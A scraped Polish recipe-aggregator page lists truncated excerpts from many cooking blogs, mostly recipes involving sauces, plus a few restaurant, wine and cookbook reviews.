spokój. Chyba pierwszy raz od kilku lat machnęłam tylko parę dżemów i trochę kompotów. Zostało nam sporo zapasów z zeszłego roku. No i nie oszukujemy się - niektórym sałatkom czy sosom trzeba poświęcić nieco więcej czasu. A ja ostatnio stawiam na kuchnię ekspresową. To leczo może nie jest super ekspresowym daniem, ale przy dobrej organizacji czasu można się z nim prędko

My simple kitchen
Proste kotleciki z kaszy kuskus 164

kaszy kuskus to pyszna propozycja na szybką, bezmięsną przekąskę lub też nieskomplikowany obiad. Są pyszne na ciepło oraz po ostygnięciu. Ja je podaję z dodatkiem warzyw i lekkim sosem, ale mogą posłużyć jako dodatek nawet do kawałka mięsa. Poniższa wersja kotlecików jest bardzo prosta i możecie ją urozmaicić na mnóstwo sposobów, czyli do środka dodać dowolne warzywa, żółty

Di gotuje
ZIEMNIAKI DUSZONE W BULIONIE ŚMIETANOWYM 141

przepisów. Firma i szczyt sezonu sprawiła że wszystko zeszło na drugi plan. Żałuję ponieważ lubię dzielić się z Wami nowymi przepisami. Na nadzielę możecie przygotować delikatne, miękkie ziemniaki z sosie śmietanowym. Ziemniaki duszone są z cebulką i bulionie (ja użyłam po prostu rosół). Składniki: 1 kg ziemniaków 3 szkl. bulionu drobiowego 1 op. małej śmietany 12% 2 cebule sól pieprz

Kuchnia w oparach
Roladki wieprzowe w piwie 142

Roladki wieprzowe w piwie, to fantastyczne danie obiadowe. Wyglądają zwyczajnie, takie sobie roladki ale smakują już niezwyczajnie. Piwo ,sos sojowy, por, te składniki podnoszą walory smakowe tego dania. Niezwykle smaczne, aromatyczne. Mogą być podane z ziemniakami, ryżem ,kluskami śląskimi. Wybór należy do nas. Z każdym dodatkiem będą pyszne. Zachęcam do wypróbowania przepisu. Składniki 500 … Czytaj dalej Roladki wieprzowe

gotuj ze mną
OMLET OWSIANY Z ŻURAWINĄ 147

płatki zmiękły. Wymieszać ponownie. Wylać masę na rozgrzaną patelnię. Smażyć na małym ogniu pod przykryciem, z obu stron. Podać omleta polanego jogurtem naturalnym lub z owocami.  U mnie sos czekoladowy 0 kcal i brzoskwinia. WARTOŚCI ODŻYWCZE: 480 kcal

Być w dobrej formie i tryskać pozytywną energią przez cały czas
Letnia sałatka z bobem (pikantna) 167

odcedzeniu kroimy ją w małe kwadraciki. Gdy bób i fasola ostygną, łączymy je z mixem sałat, pokrojonymi pomidorami, papryczką halapenio i zgniecionym czosnkiem. Całość mieszamy.     SKŁADNIKI SOS: - 2 łyżki musztardy czeskiej - 5 łyżek jogurtu naturalnego - 1 łyżka oliwy z oliwek Łączymy ze sobą wszystkie 3 składniki, dokładnie je ze sobą mieszając. Następnie polewamy nią naszą wcześniej przygotowaną

Związek na patelni
Glazurowane pieczarki do obiadu 127

dużym ogniu smażymy pieczarki, często mieszając. Pieczarki muszą się zezłocić. 2 Następnie na patelnię dodajemy ocet balsamiczny, miód, chili i tymianek. Zmniejszamy ogień i dokładnie mieszamy do momentu, aż sos zacznie oblepiać pieczarki. 3 Na końcu doprawiamy solą i posypujemy natką. Mieszamy i podajemy w salaterce lub głębokim talerzu. Porady Nie próbujcie pieczarek z patelni, ponieważ ocet i miód bardzo

Kuchnia Bazylii
KUCHENNA APTEKA #41 - PIEPRZ CZARNY 153

niezwykle aromatyczny i nadaje daniom wyrazistości. Znajduje się w każdej kuchni! Każdy z nas używa go niemal codziennie, gdyż dodaje się go do wielu dań - m.in. do zup, mięs, sosów, dań z warzyw i ziemniaków, makaronów, marynat, jaj, ryb, itd.  A co tak naprawdę o nim wiemy? Oprócz pieprzu czarnego rozróżniamy jeszcze pieprz biały, zielony i czerwony

Kuchnia MagdaLeny
KUCHENNA APTEKA #41 - PIEPRZ CZARNY 153

niezwykle aromatyczny i nadaje daniom wyrazistości. Znajduje się w każdej kuchni! Każdy z nas używa go niemal codziennie, gdyż dodaje się go do wielu dań - m.in. do zup, mięs, sosów, dań z warzyw i ziemniaków, makaronów, marynat, jaj, ryb, itd.  A co tak naprawdę o nim wiemy? Oprócz pieprzu czarnego rozróżniamy jeszcze pieprz biały, zielony i czerwony

Kuchnia MagdaLeny
Gofry jak z budki 150

mocy. Gofrownice są różne. Ja swoją przed użyciem posmarowałam olejem - zmoczyłam kawałek ręcznika kuchennego w oleju i smarowałam kratkę. Podawałam moje gofry z konfiturą z truskawek, bitą śmietaną, owocami sosem czekoladowym. Rozpusta smakowa! Jakie to było pyszne! Smacznego! Lidka

Pieprzyć z Fantazją
Kopytka ziemniaczane 147

dodatkami tworzą zupełnie nowe i urozmaicone danie. Jakie dodatki do tych klasycznych klusek lubicie? Na słono na słodko? U nas najczęściej pojawiają się z gulaszem lub potrawką, albo z sosem jako dodatek do klasycznego obiadu.  Składniki (4 porcje) -1 kg ziemniaków -1 jajko -kilka łyżek mąki pszennej Przygotowanie Ziemniaki obrać i ugotować w osolonej wodzie. Ostudzić. Najlepiej jest

Zielona Kuchnia
Szczawnica subiektywnie wg Aleex 137

nocować goście. Na parterze domu znajduje się restauracja. Wystrój wnętrza zaskakuje prostotą i surowością, jedzenie jest zróżnicowane. My próbowałyśmy bardzo smacznych placków ziemniaczanych. Były chrupiące, nie pływały w tłuszczu, sos i dodatki naprawdę były aromatyczne, świeże i dobre. Nieco mniej nas zachwyciło żeberko grillowane (wzięłyśmy jedno - dla spróbowania), było zbyt spieczone i tłuste. Z kolei tradycyjny kotlet schabowy smakował

W mojej kuchni
Kotlety królewskie 185

stron na maśle z oliwą. Ułożyć na blasze wyłożonej papierem do pieczenia i wstawić do piekarnika nagrzanego do 180 stopni na 10 minut. Lub dosmażyć na patelni. Podawać z sosem z grzybów suszonych lub pieczarek

królestwo garów
ZAPIEKANKA Z CUKINII Z MOZZARELLĄ 257

wystarczy wymieszać wszystkie składniki w misce i zapiec w naczyniu żaroodpornym.  Pyszna propozycja idealna na obiad lub kolację... Podobnie jak placki z cukinii świetnie smakuje podana z sosem czosnkowym, tzatziki lub po prostu z jogurtem naturalnym. Składniki: 2 duże cukinie 1 duża cebula 3 ząbki czosnku 1 pęczek koperku 125 g sera mozzarella (kulka lub tarty) 3 jajka

Kuchnia MagdaLeny
ZAPIEKANKA Z CUKINII Z MOZZARELLĄ 257

wystarczy wymieszać wszystkie składniki w misce i zapiec w naczyniu żaroodpornym.  Pyszna propozycja idealna na obiad lub kolację... Podobnie jak placki z cukinii świetnie smakuje podana z sosem czosnkowym, tzatziki lub po prostu z jogurtem naturalnym. Składniki: 2 duże cukinie 1 duża cebula 3 ząbki czosnku 1 pęczek koperku 125 g sera mozzarella (kulka lub tarty) 3 jajka

Kuchnia MagdaLeny
Zapiekanka makaronowa z ajvarem, kiełbasą i oliwkami 113

około 3 minuty. Pod koniec dodajemy oliwki i ajvar, doprawiamy solą, pieprzem i oregano, mieszamy. Makaron gotujemy al dente, odcedzamy (zostawcie 1/3 szklanki wody z gotowania). Do makaronu dodajemy sos i odstawioną wodę, a także pokrojoną w kostkę mozzarellę. Wszystko dokładnie mieszamy, wrzucamy do naczynia żaroodpornego i pieczemy 20 minut w 180 stopniach

Kardamonovy
Ryż po meksykańsku z tuńczykiem i marchewką 198

osoby: 1 opakowanie  gotowego dania z ryżem – Ryż w stylu meksykańskim MEXICAN STYLE   RICE 250 g Uncle Ben's tuńczyk w kawałkach   w sosie własnym   puszka 150 g, 3   łyżki wody. 130 g mini marchewki młodej lub z puszki, po garści świeżych ziół: nać pietruszki, mięta zwykła, mięta pieprzowa, ponadto: 1 łyżka kapary, pieprz czarny

Moniki Smakołyki
"Złota kolekcja ziół" Zbigniew T. Nowak 170

pomaga w odchudzaniu, odtruwaniu organizmu z toksyn, pomaga w grypie, przeziębieniu, czy przeroście gruczołu krokowego. W książce znajdziemy pyszne przepisy i receptury na galaretki, przeciery, konfitury, sałatki, surówki, czy sosy do mięs, oraz mnóstwo informacji o pysznej żurawinie :-) "Pokrzywa przywraca zdrowie" to kolejna książeczka z serii. Pokrzywę też większość z nas powinno znać. My popijamy herbatkę z niej dość często

kruche babeczki
Jednogarnkowe danie z ziemniakami 304

Składniki: 600 g ziemniaków 400 g fileta z indyka 100 g pora 1/2 czerwonej papryki 1 mała cukinia 500 g pomidorów 1/3 bakłażana 1 łyżka czubrycy czerwonej 2 łyżki sosu … Czytaj dalej Jednogarnkowe danie z ziemniakami

czarrna od kuchni
Magiczne Ogrody – baśniowe miejsce na Lubelszczyźnie 151

racji pory obiadowej pierwsze kroki skierowaliśmy do restauracji. I tu pierwsze zaskoczenie, bo ceny były normalne, wybór spory, a jedzenie właściwie domowe. Zamówiliśmy danie dnia, czyli pierś kurczaka w sosie kurkowym z frytkami, pierogi, żurek i chłodnik. Więc jeżeli nie zjecie w domu obiadu, a chcecie nabrać sił przed magiczną podróżą to informujemy, to z zamówieniem jedzenia nie ma problemu

Pasja Smaku
Ogórkowe pikle z cebulą i papryką 194

Smak lata zamknięty w słoiczkach. Sałatka ogórkowa w tej wersji jest przepyszna, zimą doskonale podkreśli smak każdego mięsnego sosu do obiadu czy jako dodatek do hot-dogów. Sałatka ta jest prosta do wykonania z łatwo dostępnych składników. Jeśli macie dostęp do większych ogórków i nie wiecie co z nimi zrobić, ten przepis jest dla Was! Składniki: 4 kg ogórków

Wanilia i Kardamon
Sałatka z prosciutto 128

która zasmakuje każdemu. Polecam do kanapek, grzanek czy ot tak, po prostu w ciagu dnia. SKŁADNIKI: 60 g rukoli 2 plastry prosciutto 6 pomidorków koktajlowych tarty parmezan do polania sos winegret z tego przepisu świeżo zmielony pieprz PRZYGOTOWANIE: Na talerzu rozkładam rukolę, na niej posiekane na pół pomidorki, kawałki prosciutto. Posypuję tartym parmezanem i polewam winegretem. Szybka, smaczna sałatka gotowa

Zasmakuj Kuchni
Burgery rybne 154

białej ryby, bez skóry i ości, posiekanie ich nożem (nie żadnymi robotami), wymieszanie ze skórką cytrynową (nie sokiem), odrobiną bułki tartej i nie dodawanie jaja. Po drugie przygotowanie własnego sosu ziołowego na bazie majonezu, dużej ilości świeżej natki pietruszki, szczypiorku i koperku oraz kaparów (jeśli należycie do tych osób, które twierdzą, że kaparów nie lubią – i tak je dodajcie

Moja Delicja
Sałatka tabbouleh z komosą ryżową 149

warzywa wymieszać w misce z zimną komosą ryżową. Do małego słoika wlać oliwę i sok z cytryny, dodać szczyptę soli i odrobinę świeżo mielonego pieprzu, zakręcić i energicznie wymieszać. Sos przelać do sałatki i dokładnie wymieszać. 100g sałatki z podanych powyżej składników to ok. 90 kcal , węglowodany 8g; białko: 2g; tłuszcz: 5g Informacje dla diabetyków: w 100g sałatki tabbouleh znajduje

Dietolog
Cebularz 134

wylewamy na masę cebulową. Pieczemy w temperaturze 150 stopni na dolnej szynie przez około 50-­60 minut. Po wyciągnięciu pozwalamy cebularzowi odpocząć przez 10 min. Możemy podać z sosem grzybowym. Moim zdaniem cebularz równie dobrze smakuje na zimno. Życzę smacznego! Interesujesz się gotowaniem? Zapraszam no moją grupę na Facebooku , gdzie możesz podzielić się swoimi przepisami . Artykuł Cebularz pochodzi z serwisu

uDolores.pl - tylko sprawdzone przepisy
Sztuka gotowania – Niki Segnit – recenzja 147

dobrych restauracji i testować podpatrzone nowe smaki w domu . Dlaczego warto mieć na półce “Sztuką gotowania” ? Książka zawiera 77 podstawowych przepisów, które autorka podzieliła na grupy jak ciasta czekoladowe, sosy czy zupy. Wstęp do książki napisał sam Yotam Ottolenghi . Tak jak “Leksykon smaków” był rewolucją w świecie książek kucharskich i podręcznikiem który powinien stać na półce, tak zaraz obok powinna

Ugotowane pozamiatane
Kabaczek czy cukinia? Co jest czym? 127

pogubić. Dlatego tłumaczę czym jest kabaczek a czym cukinia A po obejrzeniu video może przydadzą się linki do przepisów: Pyszny pasztet z cukinii Placki z cukinii z sosem meksykańskim i bitą śmietaną Artykuł Kabaczek czy cukinia? Co jest czym? pochodzi z serwisu Fleksitarianizm.pl

Fleksitarianizm.pl
Pyszna sałatka z cukinii na zimę z pomidorami i papryką 334

jeszcze duszę pod przykryciem około 10 minut, pod koniec sprawdzam smak i jeżeli trzeba to doprawiam – sałatka jest gotowa. Pasteryzacja: Do wcześniej wyparzonych słoików nakładam gorącą sałatkę razem z sosem, pozostawiając około 2 centymetrów wolnego miejsca od wieczka. Brzeg słoika dokładnie wycieram i mocno zakręcam wieczko. Słoiki wstawiam do garnka wyłożonego ściereczką, oddzielam je między sobą drugą ściereczka i zalewam

Uwaga Babcia Gotuje
Klopsiki mielone ze szpinakiem i kaszą jaglaną 185

dzieci. Można je usmażyć na patelni lub ugotować w lekkim bulionie. W obu wersjach są pyszne! Choć muszę stwierdzić, że gotowane chyba mi bardziej smakowały ;) Do tego dowolny sos, np. pomidorowy lub koperkowy, młode ziemniaczki i jakaś surówka. Obiad idealny. I tatuś zadowolony, że smażone mięsko, i mama, że coś lekkiego i dzieci, że w końcu coś z sosikiem

My simple kitchen
La Celia, Pioneer Reserve, Chardonnay, 2014. Uco Valley, Argentyna. 153

temu trunkowi potencjału do starzenia. Do czego: wino to znakomicie radzi sobie samodzielnie, jak i jako towarzysz potraw. Świetnie sprawdzi się z tłustymi rybami lub makaronami w aksamitnym śmietanowym sosie z krewetkami. W bardziej szalonej wariacji będzie świetnie pasowało do grzanek ze smalczykiem z mangalicy. Ode mnie: mój zdecydowany faworyt, jeśli chodzi o ten styl Chardonnay. Jeśli więc lubicie wina

Kate's Kitchen
Schab... 139

mięsa pieczemy 90 minut. Potem po wyjęciu dwoma widelcami wyjmujemy mięso na półmisek... Pozostałe w naczyniu warzywa odcedzamy przez sitko i dokładamy do półmiska. Pozostały po pieczeniu sos wykorzystujemy lub nie. (jest przepyszny) -- Serwujemy na gorąco z czym kto lubi: ziemniaki, pieczywo, ryż... -- Jeżeli coś zostanie, to wkładamy z powrotem do naczynia i chowamy na drugi raz do odgrzania. -- Smacznego

chleba naszego
Bitki schabowe z pieczarkami i czosnkiem niedźwiedzim 228

Schab i sos pieczarkowy to nuda? Dzięki dodatkowi czosnku niedźwiedziego na pewno nie:). Polecam to danie w mojej wersji. 1 kg schabu w plastrach 500g pieczarek  2 cebule 3 ząbki czosnku 4 łyżki suszonego czosnku niedźwiedziego  3 łyżki śmietany 18% olej sól, pieprz, papryka słodka 1. Plastry schabu kroimy na pół, rozbijamy. Każdy kotlet posypujemy solą, pieprzem

Szefowa kuchni
Pancakes z kefirem i owocami. Przepis krok po kroku. 240

popularne w Stanach Zjednoczonych i zyskują na popularności na całym świecie. Klasycznie podaje się je z syropem klonowym, ale dodatki mogą być przeróżne: sos czekoladowy, owoce lub karmel. Z ciekawostek w USA często łączone są z chrupiącym bekonem i słodkim syropem, co dla mnie osobiście jest połączeniem nieco dziwnym

kuron.com.pl
Makaron udon na ostro 228

Składniki: 150 g makaronu udon 1 filet z kurczaka garść grzybów mun kawałek pora, zielona część 1 marchewka po połowie zielonej i czerwonej papryki 1/2 papryczki chili 1 łyżeczka sosu … Czytaj dalej Makaron udon na ostro

czarrna od kuchni
Placki z cukinii i serka wiejskiego 187

placki odłożyć na ręcznik papierowy, by odciekły z nadmiaru tłuszczu. Placki można podać z sałatą polaną śmietanką pozostałą po serku. Świetnie sprawdzają się też podane w bułce z sałatą, sosem i np. z ogórkami konserwowymi lub  ogórkami kanapkowymi

Weekendy w domu i ogrodzie
Stromboli z trzema serami i wędzonym kurczakiem 204

formę wyłożoną papierem do pieczenia. Pieczemy przez 20-25 minut w 210*C. Obserwujemy naszą pizzę aby zbyt mocno się nie spiekła. Każdy piekarnik piecze inaczej. Podajemy z sosem czosnkowym

VioletoweKucharzenie
Kotlety schabowe po zbójnicku 651

prosty! Kotlety po zbójnicku są hitem na naszym imprezach i szybko znikają ze stołu. Gorąco polecamy! Jeśli szukacie jeszcze innych przepisów na schabowe , to polecam, np. roladki schabowe w sosie śmietanowo-musztardowym . Więcej przepisów na wieprzowinę znajdziecie w zakładce: schab – przepisy . (adsbygoogle = window.adsbygoogle || []).push({}); The post Kotlety schabowe po zbójnicku appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Żeberka duszone w piwie 199

miód i piwo , chwilkę razem pogotować, a następnie przelać do garnka z żeberkami.Dolać bulion, dodać marchewkę i gotować do miękkości żeberek.Pod koniec dodać śmietanę, koperek, można także sos zagęścić odrobiną mąki

Moje domowe kucharzenie
Placki z zielonego groszku 136

szkoły albo pracy. Są bardzo smaczne bezpośrednio po przygotowaniu oraz jak wystygną. U mnie takie placuszki zazwyczaj znikają w wersji solo, ale Wy możecie podać je z ulubionym sosem oraz dowolnymi dodatkami. Poniżej podałam wersję podstawową, która idealnie nadaje się do wzbogacenia np. ziołami, czosnkiem, cebulą, serem, czy również szynką. Polecam! A jeśli wolicie kukurydzę to zerknijcie na placki

Di gotuje
PLACKI Z CUKINII Z KOPERKIEM 420

prostu pyszne! Najlepsze wychodzą w sezonie z młodej cukinii. Przygotowuje się je w kilka chwil i mogą pełnić rolę zarówno obiadu, jak i kolacji. Świetnie smakują podane z sosem czosnkowym,  tzatziki lub po prostu z jogurtem naturalnym. Składniki: 2 średnie cukinie 2 jajka 1 cebula 2 ząbki czosnku 1 pęczek koperku 2 łyżki mąki pszennej 2 łyżki mąki ziemniaczanej

Kuchnia MagdaLeny
PLACKI Z CUKINII Z KOPERKIEM 420

prostu pyszne! Najlepsze wychodzą w sezonie z młodej cukinii. Przygotowuje się je w kilka chwil i mogą pełnić rolę zarówno obiadu, jak i kolacji. Świetnie smakują podane z sosem czosnkowym,  tzatziki lub po prostu z jogurtem naturalnym. Składniki: 2 średnie cukinie 2 jajka 1 cebula 2 ząbki czosnku 1 pęczek koperku 2 łyżki mąki pszennej 2 łyżki mąki ziemniaczanej

Kuchnia MagdaLeny
Ekstra-serniczki na zimno 163

dopóki maliny nie zaczną się rozpadać. Odparowujemy nadmiar wody i dolewamy wino. Zdejmujemy z ognia, a następnie blendujemy. Można całość przetrzeć przez sito, aby pozbyć się pestek. Do gorącego „sosu“ dodajemy 2 łyżeczki żelatyny i dokładnie mieszamy. Przestudzoną galaretkę wylewamy na stężałą masę serową. Całość ponownie wstawiamy do lodówki na co najmniej godzinę. Dekorujemy świeżymi malinami i innymi owocami. Może

Kate's Kitchen
Fit placuszki z kefirem - puszyste i smażone bez tłuszczu 355

kefirem są bardzo puszyste, a zarazem delikatne w smaku. Uwierzcie mi na słowo - jak dla mnie jest to najlepszy przepis na domowe mini placki. Placuszki możecie podać z sosem owocowym lub przed samym podaniem posypać cukrem pudrem.      Składniki na 12 sztuk: 1 i 1/4 szklanki mąki pszennej (200 g) 1 szklanka kefiru (260 g) 2 jajka (rozmiar

Ugotować
Rolada szpinakowo – kalafiorowa 183

Przekładamy do keksówki (wtedy będzie miała ładny kształt). Pieczemy w nagrzanym do 190*C piekarniku przez 60 minut. Pod koniec pieczenia przecinamy folię aby wierzch się zarumienił. Podajemy z sosem serowym ( o takim

VioletoweKucharzenie
Lekka sałatka z szynką i ogórkiem - 4 składniki + sos 329

Kolejna propozycja na lekki lunch czy kolację, tym razem z 4 składników i sosu. Lekka przez dodanie ogórka i jogurtu-polecam

Swojskie jedzonko
Sałatka z bundzem i grzankami 258

Składniki: 200 g sałaty lodowej 200 g pomidorków koktajlowych 200 g góralskiego bundza 100 g marynowanego czosnku 3 jajka 1 puszka tuńczyka w sosie własnym 2 ząbki świeżego czosnku 2 … Czytaj dalej Sałatka z bundzem i grzankami

czarrna od kuchni
Uzbekistan – najlepsze przepisy kuchni uzbeckiej 176

dokładnie taką sałatkę z mantami w Samarkandzie. Składniki: Pomidor, marchewka, ogórek, por (biała część), papryka czerwona i zielona, koperek, natka pietruszki, pieprz do smaku, ugotowany makaron sojowy lub ryżowy. Sos: 2 ząbki czosnku, papryka mielona, łyżeczka octu, gorący olej podgrzany na patelni Pełny przepis tutaj Sumalak Najdziwniejszą potrawą jaką jadłam w czasie mojej podróży był sumalak. To tradycyjny płynny deser

Ugotowane pozamiatane
Sałatka z tuńczyka i ryżu 142

Składniki: 5 jajek 100g ryżu (1 woreczek) 1/2 pora – biała część 1 szklanka kukurydzy z puszki 1/2 pęczka szczypiorku 3-4 ogórki kiszone ok 300g tuńczyka w sosie własnym 2-3 łyżki majonezu 1 łyżka gęstego jogurtu naturalnego sól i pieprz do smaku     *** Jajka gotujemy na twardo, studzimy, obieramy i kroimy w kosteczkę *** *** Ryż gotujemy według przepisu

Blog z Apetytem
Pulpety z warzywami w azjatyckim sosie 242

moją domową inspirowaną przepisami osób, które ją znają i kochają. Dlatego gdy zobaczyłam ten przepis musiałam go zrobić i to jak najszybciej. Pulpety z makaronem w pysznym sosie, pikantne, lekko słodkie, lekko kwaśne to coś co lubimy. Danie na pewno nie raz jeszcze zrobię, bo warto. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kurczak z faoslką szparagową w sezamie 176

zaskakuje smakiem i szybkością przygotowania.  Składniki: podwójna pierś z kurczaka ok 500 g fasolki szparagowej 1/2 szklanki sezamu 2-3 ząbki czosnku olej do smażenia Marynata: 3 łyżki sosu sojowego 2 łyżki miodu 1 łyżka soku z cytryny 1/3 łyżeczki imbiru, kurkumy, pieprzu i ostrej papryki 1 łyżeczka słodkiej papryki Wszystkie składniki marynaty mieszamy ze sobą. Piersi z kurczaka

Cynamonowe szczęście
Makaron z kurkami i kurczakiem 164

koniec dodaj szpinak i poczekaj aż zwiędnie. Następnie na patelnię wlej śmietankęi wszystko zagotuj. Dopraw do smaku solą i pieprzem. Makaron ugotuj według instrukcji na opakowaniu. Odcedź. Wymieszaj z sosem kurczakowo – kurkowym. Całość posyp świeżym szczypiorkiem lub pietruszką Artykuł Makaron z kurkami i kurczakiem pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Chłodnik arbuzowy 160

Składniki: pół arbuza (ok 400-500g) 1 zielony ogórek wężowy 1 duży pomidor 2-4 łodygi dymki 0,5 papryczki chilli kilka kropli sosu chilli np. Tabasco sól, pieprz Przygotowanie: Smacznego

Codzienne Gotowanie
SAŁATKA ZE SZPINAKU I TRUSKAWEK #talerzdiabetyka 180

przełożyć do miski. Truskawki umyć i oberwać szypułki, pokroić w ćwiartki i dodać do szpinaku. Ser pokruszyć do miski i posypać pokrojonymi orzechami włoskimi. Przygotować dressing – wszystkie składniki sosu włożyć do niewielkiego słoiczka, zakręcić i energicznie wymieszać (można użyć też trzepaczki do połączenia składników). Dressing dodać do sałatki i wymieszać dokładnie. Gotowe! 1 porcja to ok. 455 kcal , węglowodany

Dietolog
makaron z kurczakiem i suszonymi pomidorami 151

paseczki suszone pomidory i żurawinę, doprawiam solą i pieprzem i jeszcze przez chwilę smażę wszystko razem. Na sam koniec dodaję śmietanę i podgrzewam delikatnie, aż utworzy się aksamitny sos. Na talerzu układam porcję makaronu oraz kurczaka i dekoruję posiekaną świeżą bazylią. Smacznego

babka w formie
Curry z ciecierzycą 253

pomidory, mleczko kokosowe i suszone przyprawy. Doprawiamy solą i pieprzem. Dodajemy ugotowane i odcedzone ziemniaki i ciecierzycę. Skrobię rozrabiamy w 1/3 szklanki wody i dodajemy do reszty. Gotujemy aż sos zgęstnieje. Świeżą kolendrę siekamy i dodajemy do curry, gotujemy jeszcze minutę i możemy podawać. (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
Śródziemnomorskie warzywa pieczone w piekarniku 146

Dzisiaj pyszna propozycja na pieczone warzywa. Upieczone bakłażany, pomidory, cukinie i papryki, polane sosem na bazie oliwy, stanowią świetny dodatek np do grillowanych mięs

Stare Gary
Bób z suszonymi pomidorami 167

bobem, miętą, smażonymi ziemniaczkami i fetą → Zupa z bobem, cukinią i ziemniakami → Pasta z bobu z koperkiem → Fasolka szparagowa z cząbrem i bułką tartą → Piersi z kurczaka w sosie z suszonych pomidorów

Oryginalny smak
Fit ciasto z porzeczką i bezową pianką 222

Czerwone porzeczki choć dość kwaśne i nie zawsze lubiane, są świetną bazą do ciasta lub wytrawnego sosu. Tym razem postawiłam na słodki wypiek, miałam ochotę na takie klasyczne ciasto z pianką. Jedynie zmieniłam spód na zdrowszy i cukier na erytrytol. Spód: 100g mąki pszennej pełnoziarnistej 100g mąki owsianej 2 żółtka 3 łyżki erytrytolu lub więcej (zależy jak słodko lubicie

Fabryka pomysłów
Gulasz z indyka w sosie pomidorowym 129

Wyśmienite danie. Uwielbiam różnego rodzaju gulasze, a ten jest po prostu przepyszny. Polecam Wam jeden ze sposobów przygotowania gulaszu, bo wiem, ze jest ich dużo. Smacznego

Przepisy Babci
Shake malinowy. Przepis krok po kroku. 183

kwaskową nutą. Kojarzą się z lasem, z latem w pełni, ze szczęściem po prostu. Można z nich przygotować soki, nalewki, ciasta, sosy oraz koktajle i shake’i oczywiście. Dzisiejszy przepis to wspaniałe połączenie świeżego ZIMNEGO MLEKA od  Robico , lodów i wspaniałych malin.   Spacerek do najbliższego spożywczaka

kuron.com.pl
Bistro Pelier – zachwycający lokal – Lublin 139

tylko na drinka. Wszystko, co do tej pory próbowaliśmy było bardzo smaczne. Składniki są dobrej jakości i ciekawie ze sobą zestawione. Cieszą mnie takie połączenia jak np. sałatka z sosem orzechowym. Dania są zawsze ładnie podane, obsługa jest miła, a wnętrze za każdym razem robi wrażenie. Chociaż warto zwrócić też uwagę na stoliki przed lokalem – świetna i pomysłowa realizacja

Pasja Smaku
Zapiekane tosty francuskie z czereśniami 155

szybko się kończy. Jednakże, mimo powrotu z wakacji bardzo chciałabym, żeby Grecja i greckie smaki pozostały ze mną na dłużej. Mam w planach przygotowanie greckich pit z gyrosem i sosem tzatziki, souvlaków, moussaki, baklavy, czy chałwy – a wszystkimi przepisami podzielę się z Wami. Mam nadzieję, że choć w małym procencie dojdę do tych smaków, które miałam przyjemność spróbować. Dzisiaj

Be Fit Be Strong
Salatka z kalafiorem - tylko 3 składniki i sos 169

Pyszna sałatka z chrupiącym kalafiorem,prosta i pyszna, musicie spróbować ,tylko 3 składniki i sos

Swojskie jedzonko
Racuchy bananowo-jaglane z czereśniami (bez cukru i mąki) 151

ciągu dnia. W sumie, jeśli nie zwracacie uwagi na gluten to możecie przygotować je z dowolnych płatków. Placki smakują tak rewelacyjnie, że ekspresowo znikają w wersji solo, bez zbędnych sosów i słodzideł. Banan idealnie komponuje się z czereśniami, a puszystą oraz wilgotną konsystencja każdego placka polubią zarówno dzieci, jak i dorośli. Polecam! (około 5 sztuk) 1/2 banana 1 jajko

Di gotuje
Pieczone udka z kurczaka (z chrupiącą skórką) 204

cytryny. Wstawić do lodówki, aby mięso "przeszło" przyprawami. Na drugi dzień, udka piec bez przykrycia w 225°C przez około 40-45 minut (do zarumienienia się skórki) . Gotowy sos przelać do rondelka, podgrzać i zagęścić (1/3 szklanki wody i 1 łyżka mąki pszennej).  Udka przed i po upieczeniu

Ugotować
Zapiekane ziemniaki w śmietanie 137

zdecydowanie podbijają zapiekane ziemniaczki, czy to z serem , czy te, na które przepisem dzisiaj się z Wami podzielę Zapiekane ziemniaki w śmietanie to prawdziwa bomba! Nie wymagają żadnych dodatkowych sosów, czy dipów. Ja podałam je do smażonej ryby, ale były tak dobre, że w sumie ryba zeszła na drugi plan i zajadaliśmy się tylko ziemniaczkami. Ziemniaki są bardzo podobne

PatiGotuje
Udka pieczone ze śliwkami 163

piekarnika nagrzanego do 160⁰C z funkcją termoobiegu i parowania. Udka pieczemy godzinę, po czym nadmiar płynu ostrożnie zlewamy (ostudzony mrozimy w woreczkach do lodu- stanowi świetną bazę do sosów!), a mięso podpiekamy na złoty kolor. Podajemy na ciepło w towarzystwie surówek i ziemniaków. *Jeśli nie posiadamy piekarnika parowego, do dużej blaszki z wyposażenia nalewamy 1 szklankę zimnej wody

Kuchnia w czekoladzie
Grillowana karkówka z warzywami 124

mieszamy z olejem, solą oraz pieprzem. Odcedzamy z nadmiaru tłuszczu. Pomidora kroimy w grube plastry. Karkówkę oprószamy solą i pieprzem. Wszystkie składniki grillujemy, podajemy w formie sałatki z ulubionym sosem

R'n'G Kitchen
Polędwiczki wieprzowe z sosem kurkowym 135

Sezon kurkowy w pełni. Sos w połączeniu z delikatnymi polędwiczkami. Polecamy.  Składniki:  600 g polędwiczek wieprzowych 1 łyżka mąki 3 łyżki masła ghee 1 cebula 250 g kurek 2 łyżki kwaśnej śmietany 1 łyżka posiekanego lubczyku 1 łyżka posiekanej natki pietruszki 1 ząbek czosnku sól, pieprz Przygotowanie:  Polędwiczki umyłem, usunąłem błony i tłuszcz. Mięso natarłem solą

R'n'G Kitchen
PLACKI Z SAŁATKI ZIEMNIACZANEJ 142

placek) placki smaż na małym ogniu aż brzegi się lekko zrumienią, przerzuć na drugą stronę i również smaż, aż się zrumienią placki możesz podać np z takim samym sosem, jakiego użyłeś przy przygotowaniu sałatki Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); Kliknij, jeśli chciałbyś wesprzeć rozwój bloga Dziękuję! Ingredients (for ~ 5-6 pancakes): 1 cup of potato salad 1 egg 2-4 tbsp

SandraFrej.com
Makaron po genueńsku 215

ziemniaki z makaronem, ale ten przepis to stara liguryjska tradycja. I to naprawdę ma sens: ziemniaki gęstnieją, zmieniając się w słodkawą masę, do której przywiera pesto tworząc fantastyczny, aromatyczny sos. Po raz pierwszy spotkałam się z tym przepisem w książce Nigelli Lawson “Kuchnia.Przepisy z serca domu”. Makaron jest pyszny w formie tradycyjnej, na ciepło, ale idealnie sprawdzi się również jako

wiecejwarzyw.pl
Sałatka z ziemniakami, ziołami i musztardą francuską 110

